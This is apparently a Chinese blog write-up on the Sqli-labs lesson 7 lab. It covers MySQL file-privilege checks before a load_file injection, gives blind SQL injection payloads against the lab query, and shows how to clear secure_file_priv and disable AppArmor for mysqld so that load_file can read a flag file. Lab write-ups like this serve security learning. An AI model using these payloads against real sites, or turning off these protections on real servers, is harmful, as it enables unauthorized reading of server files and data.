使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权
(注,上面两段话有争议,具体请看另一篇博客)
B、欲读取文件必须在服务器上 "
当时为了保证转载的完整性,仅仅标注了质疑,这次借用这篇博客,同时在查阅大量资料的情况下阐述自己的观点。
and (select count(*) from mysql.user)>0
它的返回值来判断是否有读写文件的权限有失全面。原因有两点:
1.mysql.user本身是一张保存用户权限的表,里面包含了登入mysql数据库的各个账号的权限,其结构如下:
mysql> desc mysql.user; +------------------------+-----------------------------------+------+-----+----- ----+-------+ | Field | Type | Null | Key | Defa ult | Extra | +------------------------+-----------------------------------+------+-----+----- ----+-------+ | Host | char(60) | NO | PRI | | | | User | char(16) | NO | PRI | | | | Password | char(41) | NO | | | | | Select_priv | enum('N','Y') | NO | | N | | | Insert_priv | enum('N','Y') | NO | | N | | ... | File_priv | enum('N','Y') | NO | | N | | +------------------------+-----------------------------------+------+-----+-----
其中包含了用户名/密码/执行增删改查的权限,同时也包括了文件权限。执行(select count(*) from mysql.user)>0,并返回TRUE,个人觉得仅仅说明当前登入mysql的用户有访问mysql.user这张表的权限,同时表中内容非空。
2.想确定某一用户是否有操作文件的权限,可能需要执行下列语句:
2.1.获得当前登入mysql的用户:
mysql> select user(); +--------+ | user() | +--------+ | root@ | +--------+ 1 row in set (0.00 sec)
2.2.获得该用户的文件权限:
mysql> select ((select file_priv from mysql.user where user='root' limit 0,1)='Y')as priv; +------+ | priv | +------+ | 1 | +------+ 1 row in set (0.00 sec)
进入主题,Sqli-labs练习7后台获取id的PHP语句如下:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; $result=mysql_query($sql);
如果URL中输入有效的ID,页面如下:
否则,页面呈现这样的结果:
在执行Load_file前需要准备3种payload:
1.mysql.user的访问权限:
1')) and (select count(*) from mysql.user)>0 --
当前用户可以访问mysql.user表
2.获取用户:
目前获取用户只能通过盲注,盲注的结果显示当前用户是:root
3.判断用户有文件权限:
1')) and (select (select file_priv from mysql.user where user='root' limit 0,1)='Y') --
经历以上步骤后,可以确定root用户具有操作文件的权限,接下来才能执行Load_file注入。
参考资料:MySQL Injection - Simple Load File and Into OutFile
=======================================
后记:
对于新版本的MySQL,即使当前用户拥有操作文件的权限,调用load_file以后仍有可能会返回NULL。我曾尝试在/var/www/html目录下创建一个文本文件:
执行load_file的结果如下:
mysql> select user, file_priv from mysql.user; +------------------+-----------+ | user | file_priv | +------------------+-----------+ | root | Y | | root | Y | | root | Y | | root | Y | | debian-sys-maint | Y | +------------------+-----------+ 5 rows in set (0.00 sec) mysql> select load_file('/var/www/html/flag.txt'); +-------------------------------------+ | load_file('/var/www/html/flag.txt') | +-------------------------------------+ | NULL | +-------------------------------------+ 1 row in set (0.00 sec)
查找了很多页面才了解到,高版本的mysql引入了secure-file-priv特性。secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1.当ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出;
2.当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下;
3.当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
此开关默认为NULL,即不允许导入导出。查看secure-file-priv参数的值:
mysql> show global variables like '%secure%'; +------------------+-----------------------+ | Variable_name | Value | +------------------+-----------------------+ | secure_auth | OFF | | secure_file_priv | /var/lib/mysql-files/ | +------------------+-----------------------+ 2 rows in set (0.00 sec)
解决方案:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
然后重启mysql,再查询secure_file_priv
mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | | +------------------+-------+ 2 rows in set (0.00 sec) mysql> select load_file('/var/www/html/flag.txt'); +-------------------------------------+ | load_file('/var/www/html/flag.txt') | +-------------------------------------+ | flag! | +-------------------------------------+ 1 row in set (0.00 sec)除了mysql的这个配置项,ubuntu的一项安全策略也可能导致load_file返回NULL,它就是AppArmor安全模块。使用apparmor_status命令检查AppArmor的安全策略:
$ sudo apparmor_status apparmor module is loaded. 6 profiles are loaded. 6 profiles are in enforce mode. /sbin/dhclient /usr/lib/NetworkManager/nm-dhcp-client.action /usr/lib/connman/scripts/dhclient-script /usr/sbin/mysqld /usr/sbin/ntpd /usr/sbin/tcpdump 0 profiles are in complain mode. 2 processes have profiles defined. 2 processes are in enforce mode. /usr/sbin/mysqld (27816) /usr/sbin/ntpd (31952) 0 processes are in complain mode. 0 processes are unconfined but have a profile defined.当前AppArmor设置都保存在 /etc/apparmor.d/目录下。关闭AppArmor的某项设置的命令形如:
sudo ln -s /etc/apparmor.d/{profile.name-here} /etc/apparmor.d/disable/ sudo apparmor_parser -R /etc/apparmor.d/{profile.name-name-here}关闭AppArmor对mysql的保护:
sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/ sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld再次检测AppArmor的状态:
sudo aa-status apparmor module is loaded. 5 profiles are loaded. 5 profiles are in enforce mode. /sbin/dhclient /usr/lib/NetworkManager/nm-dhcp-client.action /usr/lib/connman/scripts/dhclient-script /usr/sbin/ntpd /usr/sbin/tcpdump 0 profiles are in complain mode. 1 processes have profiles defined. 1 processes are in enforce mode. /usr/sbin/ntpd (31952) 0 processes are in complain mode. 0 processes are unconfined but have a profile defined.如果想要打开AppArmor对mysql的保护作用,运行下列命令:
sudo rm /etc/apparmor.d/disable/usr.sbin.mysqld sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.mysqld